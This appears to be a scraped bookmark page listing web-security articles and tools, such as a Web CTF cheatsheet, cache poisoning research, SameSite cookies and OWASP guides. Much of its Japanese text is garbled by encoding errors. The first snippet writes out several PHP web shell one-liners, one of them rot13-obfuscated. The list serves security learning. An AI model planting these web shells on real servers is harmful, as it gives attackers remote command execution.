GitHub - w181496/Web-CTF-Cheatsheet: Web CTF CheatSheet ðŸˆ
<?php system($_GET["cmd"]); ?> <?php system($_GET[1]); ?> <?php system("`$_GET[1]`"); ?> <?= system($_GET[cmd]); <?=`$_GET[1]`; <?php eval($_POST[cmd]);?> <?php echo `$_GET[1]`; <?php echo passthru($_GET['cmd']); <?php echo shell_exec($_GET['cmd']); <?php eval(str_rot13('riny($_CBFG[cntr]);'));?> <script language="php">system("id"); </script> <?php $_GET['a']($_GET['b']); ?> // a=system&b=ls // a=
Practical Web Cache Poisoning | PortSwigger Web Security Blog
Published: 09 August 2018 at 23:20 UTC Updated: 02 October 2023 at 14:39 UTC AbstractWeb cache poisoning has long been an elusive vulnerability, a 'theoretical' threat used mostly to scare developers into obediently patching issues that nobody could actually exploit. In this paper I'll show you how to compromise websites by using esoteric web features to turn their caches into exploit delivery sys
Cookie ã®æ€§è³ªã‚’利用ã—ãŸæ”»æ’ƒã¨ Same Site Cookie ã®åŠ¹æžœ | blog.jxck.io
Intro Cookie ã¯ãƒ–ラウザã«ã‚ˆã£ã¦ä¿å˜ã•ã‚Œã€ç´ã¥ã„ãŸãƒ‰ãƒ¡ã‚¤ãƒ³ã¸ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«è‡ªå‹•ã§ä»˜ä¸Žã•ã‚Œã‚‹ã€‚ ã“ã®æŒ™å‹•ã«ã‚ˆã£ã¦ Web ã«ãŠã‘るセッション管ç†ãŒå®Ÿç¾ã•ã‚Œã¦ã„る一方ã€ã“れを悪用ã—ãŸæ”»æ’ƒæ–¹æ³•ã¨ã—ã¦ã€ CSRF ã‚„ Timing Attack ãªã©ãŒæ•°å¤šã知られã¦ãŠã‚Šã€å€‹åˆ¥ã«å¯¾ç–ãŒãªã•ã‚Œã¦ããŸã€‚ ç¾åœ¨ã€æ案実装ã•ã‚Œã¦ã„ã‚‹ SameSite Cookie ã¯ã€ãã‚‚ãã‚‚ã® Cookie ã®æŒ™å‹•ã‚’変更ã—ã€ã“ã†ã—ãŸå•é¡Œã‚’æ ¹æœ¬çš„ã«è§£æ±ºã™ã‚‹ã¨æœŸå¾…ã•ã‚Œã¦ã„る。 Cookie ã®æŒ™å‹•ã¨ãれを用ã„ãŸæ”»æ’ƒã€ãã—㦠Same Site Cookie ã«ã¤ã„ã¦è§£èª¬ã™ã‚‹ã€‚ Cookie ã®æŒ™å‹• Cookie ã¯ã€ Set-Cookie ã«ã‚ˆã£ã¦æä¾›ã—ãŸãƒ‰ãƒ¡ã‚¤ãƒ³ã¨ç´ã¥ã‘ã¦ãƒ–ラウザã«ä¿å˜ã•ã‚Œã€åŒã˜ãƒ‰ãƒ¡ã‚¤ãƒ³ã¸ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«è‡ªå‹•çš„ã«ä»˜ä¸Žã•ã‚Œã‚‹ã€‚ 最も使ã‚ã‚Œã‚‹å ´é¢ã¯ã€ãƒ¦ãƒ¼ã‚¶ã®è˜åˆ¥åã¨ãªã‚‹ãƒ©ãƒ³ãƒ€ãƒ ãªå€¤ã‚’ SessionI
Webアプリケーション実行環境ã«ãŠã‘ã‚‹ã‚»ã‚ュリティ - Speaker Deck
ç¦å²¡ã‚†ã‚‹ã£ã¨IT交æµä¼š vol.9「セã‚ュリティã®è©±ã‚’èžã“ã†ã€ 2019/01/25 ã•ãらインターãƒãƒƒãƒˆæ ªå¼ä¼šç¤¾ ã•ãらインターãƒãƒƒãƒˆç ”究所 ä¸Šç´šç ”ç©¶å“¡ æ¾æœ¬äº®ä»‹ / ã¾ã¤ã‚‚ã¨ã‚Šãƒ¼ / @matsumotory
Webデãƒã‚¤ã‚¹ãƒˆãƒ©ãƒƒã‚ング手法ã®ç´¹ä»‹
サイãƒãƒ¼ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã®å®Ÿè·µÃ—実験Snowflake å°Žå…¥ã®çµŒç·¯ã‹ã‚‰æœ€æ–°æ©Ÿèƒ½ã®ãƒˆãƒ©ã‚¤ã‚¢ãƒ«ã¾ã§ / How Snowflake Is Used In CyberAgent - Go To the Future
Top 10 Web Hacking Techniques of 2017 | PortSwigger Web Security Blog
Published: 11 October 2018 at 14:40 UTC Updated: 05 January 2021 at 14:10 UTC The verdict is in! Following 37 nominations whittled down to a shortlist of 15 by a community vote, our panel of experts has conferred and selected the top 10 web hacking techniques of 2017 (and 2016). The panel consisted of myself, and distinguished researchers Gareth Heyes, Nicolas Grégoire, Frans Rosén, and Soroush Da
Zalando RESTful API 㨠イベントスã‚ーマã®ã‚¬ã‚¤ãƒ‰ãƒ©ã‚¤ãƒ³
License: CC-BY-SA 3.0 © Zalando SE 2020 & CC-BY-SA 3.0 © kawasima 2020 Zalandoã®ã‚½ãƒ•ãƒˆã‚¦ã‚§ã‚¢ã‚¢ãƒ¼ã‚テクãƒãƒ£ã¯ã€ç–Žçµåˆãªãƒžã‚¤ã‚¯ãƒã‚µãƒ¼ãƒ“スをä¸å¿ƒã¨ã—ã¦ãŠã‚Šã€ ãれらã¯JSONペイãƒãƒ¼ãƒ‰ã‚’ã‚‚ã¤RESTful API群ã«ã‚ˆã£ã¦ã€æ©Ÿèƒ½ãŒæä¾›ã•ã‚Œã¦ã„ã¾ã™ã€‚ å°ã•ãªã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢ã®ãƒãƒ¼ãƒ ã¯ã€è‡ªåˆ†ãŸã¡ã§AWSアカウントã«ã“れらã®ãƒžã‚¤ã‚¯ãƒã‚µãƒ¼ãƒ“スを デプãƒã‚¤ã—ãŸã‚Šé‹ç”¨ã—ãŸã‚Šã—ã¦ã„ã¾ã™ã€‚ ç§ãŸã¡ã®APIã¯ã€ãã®å¤šããŒç§ãŸã¡ã®ã‚·ã‚¹ãƒ†ãƒ ãŒä½•ã‚’ã™ã‚‹ã®ã‹ã‚’完全ã«è¡¨ç¾ã—ã¦ãŠã‚Šã€ ãれゆãˆã«è²´é‡ãªãƒ“ジãƒã‚¹è³‡ç”£ã¨ãªã£ã¦ã„ã¾ã™ã€‚ ZalandoãŒã¨ã‚るオンラインショップã‹ã‚‰ä¾¡å€¤ã‚るファッションプラットフォームã¸ã¨å¤‰è²Œã‚’ ã¨ã’ã‚‹ãŸã‚ã«ã€ç§ãŸã¡ã¯æ–°ã—ã„オープンプラットフォーム戦略ã®å±•é–‹ã‚’ã¯ã˜ã‚ã¾ã—ãŸã€‚ ãªã®ã§ã€é«˜å“質ã§é•·æŒã¡ã™ã‚‹APIã®è¨è¨ˆã¯ã€ç§ãŸã¡ã«ã¨ã£
リニューアルã—ãŸæ—¥çµŒé›»å版ãŒé«˜é€Ÿã™ãŽã¦ãƒ¤ãƒã‚¤ä»¶ï½œã“ã‚“ã´ã‚…
日本経済新èžã¯å›½å†…を代表ã™ã‚‹çµŒæ¸ˆèªŒã 。ãã®é›»å版ã¯webã§ã®ç¶™ç¶šèª²é‡‘を大æˆåŠŸã•ã›ã€ã„ã¾ã‚„50万以上ã®æœ‰æ–™ä¼šå“¡ã‚’æ“ã™ã‚‹ãƒ¢ãƒ³ã‚¹ã‚¿ãƒ¼ã‚µã‚¤ãƒˆã 。 ãã®æ—¥çµŒé›»å版ãŒ11月6æ—¥ã«å…¨é¢ãƒªãƒ‹ãƒ¥ãƒ¼ã‚¢ãƒ«ã—ãŸã®ã ãŒã€å…¬é–‹å¾Œã€webæ¥ç•ŒãŒã«ã‚ã‹ã«ã–ã‚ã¤ã„ãŸã€‚表示速度ãŒçˆ†é€Ÿã ã£ãŸã®ã 。日経公å¼ã‚‚モãƒã‚¤ãƒ«ã§2å€ã®è¡¨ç¤ºé€Ÿåº¦ã‚’é”æˆã—ãŸã¨å ‚々ã¨å®£è¨€ã—ã¦ã„ãŸã€‚ webサービスã¯ç¶™ç¶šçŽ‡ã“ã神KPIã§ã€ãã®ç¶™ç¶šçŽ‡ã«ã¯é€Ÿåº¦ãŒå¤§ãã影響ã™ã‚‹ã€‚ ã“ã‚Œã¯ãƒã‚§ã‚らãªã„ã¨ãƒ¤ãƒã‚¤ã¨æ„Ÿã˜ã€å‹äººã®kitakã•ã‚“ã¨ã‚¹ãƒ”ードã®ç§˜å¯†ã‚’調査ã—ã¦ã¿ãŸã€‚ Fastlyをコンテンツã‚ャッシュã«ä½¿ã†æ®†ã©ã®ãƒ‡ãƒ¼ã‚¿ã¯Fastlyを経由ã—ã¦å–å¾—ã•ã‚Œã¦ã„ãŸã€‚Fastlyã¯æœ€è¿‘注目を集ã‚ã¦ã„ã‚‹CDN（世界ä¸ã«ã‚¨ãƒƒã‚¸ã‚µãƒ¼ãƒãƒ¼ã‚’é…ç½®ã—ã€é«˜é€Ÿã«ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‚’é…ä¿¡ã™ã‚‹ã‚µãƒ¼ãƒ“ス）ã§ã€éžå¸¸ã«é«˜æ©Ÿèƒ½ã§ãƒ¦ãƒ‹ãƒ¼ã‚¯ãªã‚µãƒ¼ãƒ“スã 。 一般ã«ã€CDNã¯ã„ã£ãŸã‚“世界ä¸ã«ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‚’ã°ã‚‰ã¾ãã¨ã€ãれを無
CODE BLUE 2016 - 機械å¦ç¿’ã§Webアプリケーションã®è„†å¼±æ€§ã‚’見ã¤ã‘る方法
2016å¹´10月20æ—¥ CODE BLUE 2016 Track1 機械å¦ç¿’ã§Webアプリケーションã®è„†å¼±æ€§ã‚’見ã¤ã‘る方法Read less
JWT.IO
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties. JWT.IO allows you to decode, verify and generate JWT. Learn more about jwtSee jwt libraries Warning: JWTs are credentials, which can grant access to resources. Be careful where you paste them! We do not record tokens, all validation and debugging is done on the client side.
Wayback Machine
We’re fighting to restore access to 500,000+ books in court this week. Join us! Can You Chip In? Please don't scroll past this—the Wayback Machine is fighting for universal access to quality information. The Internet Archive, which runs this project, relies on online donations averaging $15.58 to help us keep the record straight. We'd be deeply grateful if you'd join the one in a thousand users th
.gitディレクトリをwebサーãƒã®å…¬é–‹ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«ä¿å˜ã™ã‚‹ã“ã¨ã«ã¤ã„㦠- yasulib memo
webサーãƒã«.gitディレクトリãŒå…¬é–‹ã•ã‚Œã¦ã„る状態ã§ã©ã†ã„ã£ãŸãƒªã‚¹ã‚¯ãŒã‚ã‚‹ã®ã‹ã«ã¤ã„ã¦ãƒ¡ãƒ¢ã—ã¦ãŠãã¾ã™ã€‚ webサーム[root@localhost html]# cat /etc/redhat-release CentOS release 6.7 (Final) webサーãƒã«ã‚¢ã‚¯ã‚»ã‚¹ã—ã¦ã¿ãŸçµæžœ % curl http://target/.git/ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /.git/ on this server.</p> <hr> <address>Apache/2.2.15
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
Website Security | US-CERT
http://sectanlab.sakura.ne.jp/seminar/2014_malware/03_web.pdf
https://github.com/k-tamura/easybuggy4django/blob/master/README.jp.rst
OWASP Juice Shop - An Intentionally Insecure Webapp For Security Trainings Written Entirely In Javascript
GitHub - WebAppPentestGuidelines/WebAppPentestGuidelines: Webアプリケーション脆弱性診æ–ガイドライン
Web Application Security Testing Cheat Sheet - OWASP
Webシステムï¼Webアプリケーションセã‚ュリティè¦ä»¶æ›¸ 2.0 - OWASP Japan ã‚»ã‚ュリティè¦ä»¶å®šç¾©æ›¸ãƒ¯ãƒ¼ã‚ンググループ
GitHub - yahoo/gryffin: Gryffin is a large scale web security scanning platform.
{{#tags}}- {{label}}
{{/tags}}